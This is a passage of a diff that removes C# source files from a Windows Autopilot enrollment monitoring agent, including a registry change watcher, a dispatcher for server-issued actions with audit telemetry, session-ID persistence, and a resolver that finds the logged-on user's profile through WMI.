{
|
||||
lock (_sync)
|
||||
{
|
||||
_cts?.Cancel();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops and waits for the watcher thread to exit.
|
||||
/// Avoid calling from inside Changed; use RequestStop there.
|
||||
/// </summary>
|
||||
public void Stop()
|
||||
{
|
||||
Thread threadToJoin = null;
|
||||
CancellationTokenSource ctsToDispose = null;
|
||||
Exception backgroundException = null;
|
||||
|
||||
lock (_sync)
|
||||
{
|
||||
if (_thread == null)
|
||||
return;
|
||||
|
||||
_cts.Cancel();
|
||||
threadToJoin = _thread;
|
||||
}
|
||||
|
||||
threadToJoin.Join();
|
||||
|
||||
lock (_sync)
|
||||
{
|
||||
backgroundException = _backgroundException;
|
||||
|
||||
ctsToDispose = _cts;
|
||||
_cts = null;
|
||||
_thread = null;
|
||||
_backgroundException = null;
|
||||
}
|
||||
|
||||
ctsToDispose?.Dispose();
|
||||
|
||||
if (backgroundException != null &&
|
||||
!(backgroundException is OperationCanceledException))
|
||||
{
|
||||
throw new InvalidOperationException(
|
||||
"Registry watcher stopped because the background thread failed.",
|
||||
backgroundException);
|
||||
}
|
||||
}
|
||||
|
||||
private void WatchThreadMain(object state)
|
||||
{
|
||||
var cancellationToken = (CancellationToken)state;
|
||||
|
||||
try
|
||||
{
|
||||
WatchLoop(cancellationToken);
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
lock (_sync)
|
||||
{
|
||||
_backgroundException = ex;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
lock (_sync)
|
||||
{
|
||||
_backgroundException = ex;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Error?.Invoke(this, ex);
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Never let handler exceptions escape the background thread.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void WatchLoop(CancellationToken cancellationToken)
|
||||
{
|
||||
int samDesired = RegistryNativeMethods.GetSamDesired(_view);
|
||||
|
||||
_trace?.Invoke($"RegOpenKeyEx '{_subKey}' (view: {_view}, sam: 0x{samDesired:X})");
|
||||
|
||||
int openResult = RegistryNativeMethods.RegOpenKeyEx(
|
||||
_hive,
|
||||
_subKey,
|
||||
0,
|
||||
samDesired,
|
||||
out SafeRegistryHandle keyHandle);
|
||||
|
||||
if (openResult != 0)
|
||||
{
|
||||
throw new Win32Exception(
|
||||
openResult,
|
||||
$"RegOpenKeyEx failed for '{_subKey}' (view: {_view}).");
|
||||
}
|
||||
|
||||
_trace?.Invoke($"RegOpenKeyEx succeeded — handle valid: {!keyHandle.IsInvalid}");
|
||||
|
||||
using (keyHandle)
|
||||
using (var changedEvent = new AutoResetEvent(false))
|
||||
using (var cancelEvent = new ManualResetEvent(false))
|
||||
using (cancellationToken.Register(() => cancelEvent.Set()))
|
||||
{
|
||||
WaitHandle[] waitHandles = { changedEvent, cancelEvent };
|
||||
int iteration = 0;
|
||||
|
||||
while (!cancellationToken.IsCancellationRequested)
|
||||
{
|
||||
iteration++;
|
||||
|
||||
_trace?.Invoke($"Iteration {iteration}: calling RegNotifyChangeKeyValue (subtree={_watchSubtree}, filter=0x{(uint)_filter:X})");
|
||||
|
||||
int notifyResult = RegistryNativeMethods.RegNotifyChangeKeyValue(
|
||||
keyHandle,
|
||||
_watchSubtree,
|
||||
_filter,
|
||||
changedEvent.SafeWaitHandle,
|
||||
true);
|
||||
|
||||
if (notifyResult != 0)
|
||||
{
|
||||
throw new Win32Exception(
|
||||
notifyResult,
|
||||
$"RegNotifyChangeKeyValue failed for '{_subKey}'.");
|
||||
}
|
||||
|
||||
_trace?.Invoke($"Iteration {iteration}: waiting for change notification...");
|
||||
|
||||
int signaled = WaitHandle.WaitAny(waitHandles);
|
||||
|
||||
if (signaled == WaitHandle.WaitTimeout)
|
||||
{
|
||||
_trace?.Invoke($"Iteration {iteration}: WaitAny returned WaitTimeout — continuing");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (signaled == 1)
|
||||
{
|
||||
_trace?.Invoke($"Iteration {iteration}: cancel event signaled — exiting loop");
|
||||
break;
|
||||
}
|
||||
|
||||
_trace?.Invoke($"Iteration {iteration}: change notification received — invoking Changed handler");
|
||||
|
||||
try
|
||||
{
|
||||
Changed?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
try
|
||||
{
|
||||
Error?.Invoke(this, ex);
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Ignore secondary error-handler failures.
|
||||
}
|
||||
}
|
||||
|
||||
_trace?.Invoke($"Iteration {iteration}: Changed handler completed");
|
||||
}
|
||||
|
||||
_trace?.Invoke("WatchLoop exiting (cancellation requested)");
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
Stop();
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Dispose must not throw.
|
||||
}
|
||||
|
||||
_disposed = true;
|
||||
}
|
||||
|
||||
private void ThrowIfDisposed()
|
||||
{
|
||||
if (_disposed)
|
||||
throw new ObjectDisposedException(nameof(RegistryWatcher));
|
||||
}
|
||||
|
||||
private static UIntPtr HiveToPointer(RegistryHive hive)
|
||||
{
|
||||
switch (hive)
|
||||
{
|
||||
case RegistryHive.ClassesRoot:
|
||||
return (UIntPtr)0x80000000u;
|
||||
case RegistryHive.CurrentUser:
|
||||
return (UIntPtr)0x80000001u;
|
||||
case RegistryHive.LocalMachine:
|
||||
return (UIntPtr)0x80000002u;
|
||||
case RegistryHive.Users:
|
||||
return (UIntPtr)0x80000003u;
|
||||
case RegistryHive.CurrentConfig:
|
||||
return (UIntPtr)0x80000005u;
|
||||
default:
|
||||
throw new ArgumentOutOfRangeException(nameof(hive));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,223 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Executes server-issued actions delivered via ingest responses.
|
||||
///
|
||||
/// Design notes:
|
||||
/// - Idempotent per type: each handler tolerates repeated delivery (at-least-once channel).
|
||||
/// - Unknown action types are logged as <c>server_action_unknown</c> and skipped — rolling out a new
|
||||
/// type on the server must not break older agents.
|
||||
/// - Every action emits two telemetry events: <c>server_action_received</c> on entry and either
|
||||
/// <c>server_action_executed</c> or <c>server_action_failed</c> on exit, so operators can audit the
|
||||
/// end-to-end lifecycle from backend App Insights → agent session events.
|
||||
/// - All three concrete handlers are passed in as callbacks so the dispatcher itself does not
|
||||
/// depend on the internal wiring of <see cref="RemoteConfigService"/>, <see cref="DiagnosticsPackageService"/>,
|
||||
/// or the orchestrator's shutdown sequence.
|
||||
/// </summary>
|
||||
public class ServerActionDispatcher
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly Func<Task<bool>> _rotateConfigAsync;
|
||||
private readonly Func<string, Task<DiagnosticsUploadResult>> _uploadDiagnosticsAsync;
|
||||
private readonly Func<ServerAction, Task> _onTerminateRequested;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
|
||||
/// <param name="rotateConfigAsync">
|
||||
/// Refetch remote config from the backend and apply to the agent's live state.
|
||||
/// Return true on success, false on failure (the handler will emit the appropriate telemetry).
|
||||
/// Typically wired to <c>RemoteConfigService.FetchConfigAsync</c>.
|
||||
/// </param>
|
||||
/// <param name="uploadDiagnosticsAsync">
|
||||
/// Trigger a diagnostics package upload with the given file-name suffix. Return the result
|
||||
/// (success/failure, blob name, error code). Typically wired to
|
||||
/// <c>DiagnosticsPackageService.CreateAndUploadAsync</c>.
|
||||
/// </param>
|
||||
/// <param name="onTerminateRequested">
|
||||
/// Called for <c>terminate_session</c> actions. The dispatcher does NOT execute the shutdown
|
||||
/// itself — shutdown requires coordinating timers, spool flush, and cleanup that lives in the
|
||||
/// orchestrator. The callback is responsible for the actual termination sequence.
|
||||
/// </param>
|
||||
public ServerActionDispatcher(
|
||||
AgentConfiguration configuration,
|
||||
AgentLogger logger,
|
||||
Func<Task<bool>> rotateConfigAsync,
|
||||
Func<string, Task<DiagnosticsUploadResult>> uploadDiagnosticsAsync,
|
||||
Func<ServerAction, Task> onTerminateRequested,
|
||||
Action<EnrollmentEvent> emitEvent)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
_rotateConfigAsync = rotateConfigAsync;
|
||||
_uploadDiagnosticsAsync = uploadDiagnosticsAsync;
|
||||
_onTerminateRequested = onTerminateRequested;
|
||||
_emitEvent = emitEvent;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Routes a batch of actions to their handlers. Processes sequentially — ordering is defined
|
||||
/// by the order actions were queued on the server. A failing handler does not abort the batch;
|
||||
/// subsequent actions still run so a bad rotate_config doesn't block a terminate_session.
|
||||
/// </summary>
|
||||
public virtual async Task DispatchAsync(List<ServerAction> actions)
|
||||
{
|
||||
if (actions == null || actions.Count == 0)
|
||||
return;
|
||||
|
||||
foreach (var action in actions)
|
||||
{
|
||||
if (action == null) continue;
|
||||
|
||||
EmitReceived(action);
|
||||
|
||||
try
|
||||
{
|
||||
switch (action.Type?.ToLowerInvariant())
|
||||
{
|
||||
case ServerActionTypes.RotateConfig:
|
||||
await HandleRotateConfigAsync(action);
|
||||
break;
|
||||
|
||||
case ServerActionTypes.RequestDiagnostics:
|
||||
await HandleRequestDiagnosticsAsync(action);
|
||||
break;
|
||||
|
||||
case ServerActionTypes.TerminateSession:
|
||||
if (_onTerminateRequested != null)
|
||||
await _onTerminateRequested(action);
|
||||
else
|
||||
EmitFailed(action, "no_terminate_handler_wired");
|
||||
break;
|
||||
|
||||
default:
|
||||
_logger.Warning($"ServerActionDispatcher: unknown action type '{action.Type}' — skipping");
|
||||
EmitFailed(action, "unknown_action_type");
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"ServerActionDispatcher: handler for '{action.Type}' threw", ex);
|
||||
EmitFailed(action, ex.GetType().Name + ": " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async Task HandleRotateConfigAsync(ServerAction action)
|
||||
{
|
||||
if (_rotateConfigAsync == null)
|
||||
{
|
||||
EmitFailed(action, "no_rotate_config_handler");
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.Info($"ServerAction rotate_config: refetching remote config (reason: {action.Reason})");
|
||||
var ok = await _rotateConfigAsync();
|
||||
if (ok)
|
||||
EmitExecuted(action);
|
||||
else
|
||||
EmitFailed(action, "config_fetch_failed");
|
||||
}
|
||||
|
||||
private async Task HandleRequestDiagnosticsAsync(ServerAction action)
|
||||
{
|
||||
if (_uploadDiagnosticsAsync == null)
|
||||
{
|
||||
EmitFailed(action, "no_diagnostics_handler");
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.Info($"ServerAction request_diagnostics: initiating best-effort upload (reason: {action.Reason})");
|
||||
var result = await _uploadDiagnosticsAsync("server-requested");
|
||||
if (result != null && result.Success)
|
||||
{
|
||||
EmitExecuted(action, extraData: new Dictionary<string, object>
|
||||
{
|
||||
{ "blobName", result.BlobName ?? string.Empty }
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
EmitFailed(action, result?.ErrorCode ?? "diagnostics_upload_failed");
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Telemetry helpers ----
|
||||
|
||||
private void EmitReceived(ServerAction action)
|
||||
{
|
||||
_emitEvent?.Invoke(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
EventType = "server_action_received",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ServerActionDispatcher",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Received server action '{action.Type}'",
|
||||
Timestamp = DateTime.UtcNow,
|
||||
Data = BuildTelemetryData(action)
|
||||
});
|
||||
}
|
||||
|
||||
private void EmitExecuted(ServerAction action, Dictionary<string, object> extraData = null)
|
||||
{
|
||||
var data = BuildTelemetryData(action);
|
||||
if (extraData != null)
|
||||
{
|
||||
foreach (var kvp in extraData)
|
||||
data[kvp.Key] = kvp.Value;
|
||||
}
|
||||
|
||||
_emitEvent?.Invoke(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
EventType = "server_action_executed",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "ServerActionDispatcher",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Executed server action '{action.Type}'",
|
||||
Timestamp = DateTime.UtcNow,
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private void EmitFailed(ServerAction action, string reason)
|
||||
{
|
||||
var data = BuildTelemetryData(action);
|
||||
data["failureReason"] = reason ?? string.Empty;
|
||||
|
||||
_emitEvent?.Invoke(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
EventType = "server_action_failed",
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "ServerActionDispatcher",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Failed to execute server action '{action.Type}': {reason}",
|
||||
Timestamp = DateTime.UtcNow,
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private static Dictionary<string, object> BuildTelemetryData(ServerAction action)
|
||||
{
|
||||
return new Dictionary<string, object>
|
||||
{
|
||||
{ "actionType", action?.Type ?? string.Empty },
|
||||
{ "reason", action?.Reason ?? string.Empty },
|
||||
{ "ruleId", action?.RuleId ?? string.Empty },
|
||||
{ "queuedAt", action?.QueuedAt.ToString("O") ?? string.Empty }
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,279 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Manages persistent session ID storage to maintain tracking across agent restarts
|
||||
/// </summary>
|
||||
public class SessionPersistence
|
||||
{
|
||||
/// <summary>
|
||||
/// Maximum age (hours) of a session.id file before the orphan guard treats it as
|
||||
/// stale and discards it. Matches <c>AgentConfiguration.AbsoluteMaxSessionHours</c>.
|
||||
/// A session.id younger than this whose session.created is missing is assumed to be
|
||||
/// from the current enrollment (file lost during reboot/crash) and will be recovered.
|
||||
/// </summary>
|
||||
internal const double OrphanGuardMaxAgeHours = 48;
|
||||
|
||||
private readonly string _sessionFilePath;
|
||||
private readonly string _sequenceFilePath;
|
||||
private readonly string _whiteGloveMarkerPath;
|
||||
private readonly string _sessionCreatedPath;
|
||||
private readonly object _lockObject = new object();
|
||||
|
||||
/// <summary>
|
||||
/// Protected constructor for testability (Moq proxy creation).
|
||||
/// </summary>
|
||||
protected SessionPersistence() { }
|
||||
|
||||
public SessionPersistence(string dataDirectory)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(dataDirectory))
|
||||
{
|
||||
throw new ArgumentNullException(nameof(dataDirectory));
|
||||
}
|
||||
|
||||
if (!Directory.Exists(dataDirectory))
|
||||
{
|
||||
Directory.CreateDirectory(dataDirectory);
|
||||
}
|
||||
|
||||
_sessionFilePath = Path.Combine(dataDirectory, "session.id");
|
||||
_sequenceFilePath = Path.Combine(dataDirectory, "session.seq");
|
||||
_whiteGloveMarkerPath = Path.Combine(dataDirectory, "whiteglove.complete");
|
||||
_sessionCreatedPath = Path.Combine(dataDirectory, "session.created");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Loads existing session ID from disk or creates a new one if none exists
|
||||
/// </summary>
|
||||
/// <returns>Session ID (GUID string)</returns>
|
||||
public string LoadOrCreateSessionId()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Check if session file exists and is valid
|
||||
if (File.Exists(_sessionFilePath))
|
||||
{
|
||||
// Guard: if session.id exists but session.created does not, check
|
||||
// whether this is an orphaned session from a previous enrollment
|
||||
// (ProgramData survived OS reset/reinstall) or a current session
|
||||
// whose session.created was lost during a reboot/crash.
|
||||
// Distinguish by file age: recent session.id (< OrphanGuardMaxAgeHours)
|
||||
// is likely from the current enrollment → recover by initializing
|
||||
// session.created and resuming. Old session.id is a true orphan → discard.
|
||||
if (!File.Exists(_sessionCreatedPath))
|
||||
{
|
||||
var fileAge = DateTime.UtcNow - File.GetLastWriteTimeUtc(_sessionFilePath);
|
||||
if (fileAge.TotalHours < OrphanGuardMaxAgeHours)
|
||||
{
|
||||
// Recent session — recover: initialize session.created and resume
|
||||
var sessionId = File.ReadAllText(_sessionFilePath).Trim();
|
||||
if (Guid.TryParse(sessionId, out _))
|
||||
{
|
||||
SaveSessionCreatedAt(DateTime.UtcNow);
|
||||
return sessionId;
|
||||
}
|
||||
}
|
||||
|
||||
// Old session or invalid GUID — true orphan, discard
|
||||
try { File.Delete(_sessionFilePath); } catch { }
|
||||
try { File.Delete(_sequenceFilePath); } catch { }
|
||||
}
|
||||
else
|
||||
{
|
||||
var sessionId = File.ReadAllText(_sessionFilePath).Trim();
|
||||
|
||||
// Validate it's a valid GUID format
|
||||
if (Guid.TryParse(sessionId, out _))
|
||||
{
|
||||
return sessionId;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Create new session ID if file doesn't exist or is invalid
|
||||
var newSessionId = Guid.NewGuid().ToString();
|
||||
File.WriteAllText(_sessionFilePath, newSessionId);
|
||||
SaveSessionCreatedAt(DateTime.UtcNow);
|
||||
return newSessionId;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// If we can't read/write the session file, generate a new ID in memory
|
||||
// Log this error if logger is available
|
||||
throw new InvalidOperationException($"Failed to load or create session ID at {_sessionFilePath}", ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the persisted session ID file
|
||||
/// This should be called when enrollment is complete
|
||||
/// </summary>
|
||||
public virtual void DeleteSession()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(_sessionFilePath))
|
||||
File.Delete(_sessionFilePath);
|
||||
if (File.Exists(_sequenceFilePath))
|
||||
File.Delete(_sequenceFilePath);
|
||||
if (File.Exists(_whiteGloveMarkerPath))
|
||||
File.Delete(_whiteGloveMarkerPath);
|
||||
if (File.Exists(_sessionCreatedPath))
|
||||
File.Delete(_sessionCreatedPath);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// Suppress deletion errors - not critical if cleanup fails
|
||||
// The file will be overwritten on next start anyway
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if a persisted session ID exists
|
||||
/// </summary>
|
||||
/// <returns>True if session file exists</returns>
|
||||
public bool SessionExists()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
return File.Exists(_sessionFilePath);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Loads the persisted sequence counter. Returns 0 if no file exists or content is invalid.
|
||||
/// </summary>
|
||||
public long LoadSequence()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(_sequenceFilePath))
|
||||
{
|
||||
var content = File.ReadAllText(_sequenceFilePath).Trim();
|
||||
if (long.TryParse(content, out var sequence) && sequence >= 0)
|
||||
return sequence;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Persists the current sequence counter to disk.
|
||||
/// Called periodically and before graceful shutdown (WhiteGlove).
|
||||
/// </summary>
|
||||
public virtual void SaveSequence(long sequence)
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try { File.WriteAllText(_sequenceFilePath, sequence.ToString()); }
|
||||
catch { } // Non-fatal: worst case, next boot starts with a small gap
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the persisted sequence file.
|
||||
/// Called alongside DeleteSession when enrollment completes.
|
||||
/// </summary>
|
||||
public void DeleteSequence()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try { if (File.Exists(_sequenceFilePath)) File.Delete(_sequenceFilePath); }
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Persists a marker indicating WhiteGlove Part 1 completed.
|
||||
/// On the next boot the agent reads this marker, emits a whiteglove_resumed
|
||||
/// event, and clears it — giving the backend an explicit signal to transition
|
||||
/// the session from Pending to InProgress for Part 2.
|
||||
/// </summary>
|
||||
public virtual void SaveWhiteGloveComplete()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try { File.WriteAllText(_whiteGloveMarkerPath, "1"); }
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true if a WhiteGlove Part 1 marker exists, indicating this boot is Part 2.
|
||||
/// </summary>
|
||||
public bool IsWhiteGloveResume()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
return File.Exists(_whiteGloveMarkerPath);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Persists the session creation timestamp (UTC). Called once when a new session is created.
|
||||
/// </summary>
|
||||
public void SaveSessionCreatedAt(DateTime utcTimestamp)
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try { File.WriteAllText(_sessionCreatedPath, utcTimestamp.ToString("O")); }
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Loads the persisted session creation timestamp. Returns null if file is missing or invalid.
|
||||
/// </summary>
|
||||
public DateTime? LoadSessionCreatedAt()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(_sessionCreatedPath))
|
||||
{
|
||||
var content = File.ReadAllText(_sessionCreatedPath).Trim();
|
||||
if (DateTime.TryParse(content, null, System.Globalization.DateTimeStyles.RoundtripKind, out var dt))
|
||||
return dt.ToUniversalTime();
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resets the session creation timestamp to now (UTC).
|
||||
/// Used on WhiteGlove Part 2 resume to give the user enrollment phase a fresh timer.
|
||||
/// </summary>
|
||||
public void ResetSessionCreatedAt()
|
||||
{
|
||||
SaveSessionCreatedAt(DateTime.UtcNow);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes the WhiteGlove marker after the whiteglove_resumed event has been emitted.
|
||||
/// </summary>
|
||||
public void ClearWhiteGloveComplete()
|
||||
{
|
||||
lock (_lockObject)
|
||||
{
|
||||
try { if (File.Exists(_whiteGloveMarkerPath)) File.Delete(_whiteGloveMarkerPath); }
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,193 +0,0 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Resolves the custom %LOGGED_ON_USER_PROFILE% token to the logged-on user's profile path.
|
||||
///
|
||||
/// The agent runs as SYSTEM, so standard environment variables like %USERPROFILE% or
|
||||
/// %LOCALAPPDATA% resolve to the SYSTEM profile — not the logged-on user. This class
|
||||
/// detects the real user via explorer.exe ownership (WMI) and caches the result for
|
||||
/// the agent's lifetime.
|
||||
///
|
||||
/// Usage in paths: %LOGGED_ON_USER_PROFILE%\AppData\Local\RealmJoin\Logs\*.log
|
||||
/// </summary>
|
||||
public static class UserProfileResolver
|
||||
{
|
||||
public const string Token = "%LOGGED_ON_USER_PROFILE%";
|
||||
|
||||
private static readonly object Lock = new object();
|
||||
private static bool _resolved;
|
||||
private static string _userProfilePath; // e.g. C:\Users\JohnDoe — null if no user detected
|
||||
|
||||
/// <summary>
|
||||
/// Returns the logged-on user's profile path (e.g. C:\Users\JohnDoe) or null
|
||||
/// if no interactive user session has been detected yet.
|
||||
/// Result is cached after first successful detection.
|
||||
/// </summary>
|
||||
public static string GetLoggedOnUserProfilePath()
|
||||
{
|
||||
if (_resolved)
|
||||
return _userProfilePath;
|
||||
|
||||
lock (Lock)
|
||||
{
|
||||
if (_resolved)
|
||||
return _userProfilePath;
|
||||
|
||||
_userProfilePath = DetectLoggedOnUserProfile();
|
||||
_resolved = true;
|
||||
return _userProfilePath;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Expands the custom %LOGGED_ON_USER_PROFILE% token, then delegates to
|
||||
/// Environment.ExpandEnvironmentVariables for standard tokens.
|
||||
/// Returns null if the path contains the token but no user is logged on.
|
||||
/// </summary>
|
||||
public static string ExpandCustomTokens(string rawPath)
|
||||
{
|
||||
if (string.IsNullOrEmpty(rawPath))
|
||||
return rawPath;
|
||||
|
||||
if (rawPath.IndexOf(Token, StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
var profilePath = GetLoggedOnUserProfilePath();
|
||||
if (profilePath == null)
|
||||
return null; // No user detected — caller should skip this path
|
||||
|
||||
rawPath = ReplaceCaseInsensitive(rawPath, Token, profilePath);
|
||||
}
|
||||
|
||||
return Environment.ExpandEnvironmentVariables(rawPath);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true if the raw (unexpanded) path contains the custom user profile token.
|
||||
/// </summary>
|
||||
public static bool ContainsUserProfileToken(string rawPath)
|
||||
{
|
||||
return !string.IsNullOrEmpty(rawPath) &&
|
||||
rawPath.IndexOf(Token, StringComparison.OrdinalIgnoreCase) >= 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Resets the cached state. Only used for testing.
|
||||
/// </summary>
|
||||
internal static void Reset()
|
||||
{
|
||||
lock (Lock)
|
||||
{
|
||||
_resolved = false;
|
||||
_userProfilePath = null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Allows tests to inject a specific profile path without WMI.
|
||||
/// </summary>
|
||||
internal static void SetForTesting(string profilePath)
|
||||
{
|
||||
lock (Lock)
|
||||
{
|
||||
_userProfilePath = profilePath;
|
||||
_resolved = true;
|
||||
}
|
||||
}
|
||||
|
||||
private static string DetectLoggedOnUserProfile()
|
||||
{
|
||||
try
|
||||
{
|
||||
var explorerProcesses = Process.GetProcessesByName("explorer");
|
||||
foreach (var proc in explorerProcesses)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Session 0 = SYSTEM session, skip
|
||||
if (proc.SessionId == 0)
|
||||
continue;
|
||||
|
||||
var userName = GetProcessOwnerUserName(proc.Id);
|
||||
if (userName == null)
|
||||
continue;
|
||||
|
||||
if (DesktopArrivalDetector.IsExcludedUser(userName))
|
||||
continue;
|
||||
|
||||
// Extract just the username part (after backslash if DOMAIN\User)
|
||||
var backslashIndex = userName.LastIndexOf('\\');
|
||||
if (backslashIndex >= 0 && backslashIndex < userName.Length - 1)
|
||||
userName = userName.Substring(backslashIndex + 1);
|
||||
|
||||
var profilePath = Path.Combine(@"C:\Users", userName);
|
||||
if (Directory.Exists(profilePath))
|
||||
return profilePath;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Continue checking other explorer instances
|
||||
}
|
||||
finally
|
||||
{
|
||||
proc.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// WMI or process enumeration failure — no user detected
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the owner of a process using WMI (Win32_Process.GetOwner).
|
||||
/// Returns "DOMAIN\User" or "User" string, or null on failure.
|
||||
/// </summary>
|
||||
private static string GetProcessOwnerUserName(int processId)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
$"SELECT * FROM Win32_Process WHERE ProcessId = {processId}"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var outParams = new object[2];
|
||||
var result = (uint)obj.InvokeMethod("GetOwner", outParams);
|
||||
if (result == 0)
|
||||
{
|
||||
var user = outParams[0]?.ToString();
|
||||
var domain = outParams[1]?.ToString();
|
||||
return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// WMI failure — return null
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string ReplaceCaseInsensitive(string source, string oldValue, string newValue)
|
||||
{
|
||||
var index = source.IndexOf(oldValue, StringComparison.OrdinalIgnoreCase);
|
||||
if (index < 0) return source;
|
||||
return source.Substring(0, index) + newValue + source.Substring(index + oldValue.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
-370
